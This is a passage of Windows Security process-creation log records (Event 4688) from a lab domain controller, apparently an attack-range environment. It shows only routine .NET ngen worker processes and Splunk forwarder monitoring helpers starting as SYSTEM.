	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 804 -InterruptEvent 0 -NGENProcess 368 -Pipe 7ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255160
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x84c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 844 -Pipe 370 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255159
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 370 -Pipe 354 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255158
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255157
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 848 -InterruptEvent 0 -NGENProcess 838 -Pipe 808 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255167
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 838 -Pipe 858 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255166
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 318 -InterruptEvent 0 -NGENProcess 7d4 -Pipe 2ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255165
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x118c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 330 -InterruptEvent 0 -NGENProcess 858 -Pipe 324 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255164
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 838 -InterruptEvent 0 -NGENProcess 294 -Pipe 844 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255171
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255170
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 814 -InterruptEvent 0 -NGENProcess 81c -Pipe 294 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255169
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d4 -InterruptEvent 0 -NGENProcess 6b0 -Pipe 830 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255168
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255174
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1214
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2cc -InterruptEvent 0 -NGENProcess 330 -Pipe 27c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255173
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 804 -Pipe 6b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255172
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255178
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 83c -Pipe 30c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255177
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 810 -InterruptEvent 0 -NGENProcess 2b8 -Pipe 848 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255176
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 848 -InterruptEvent 0 -NGENProcess 318 -Pipe 824 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
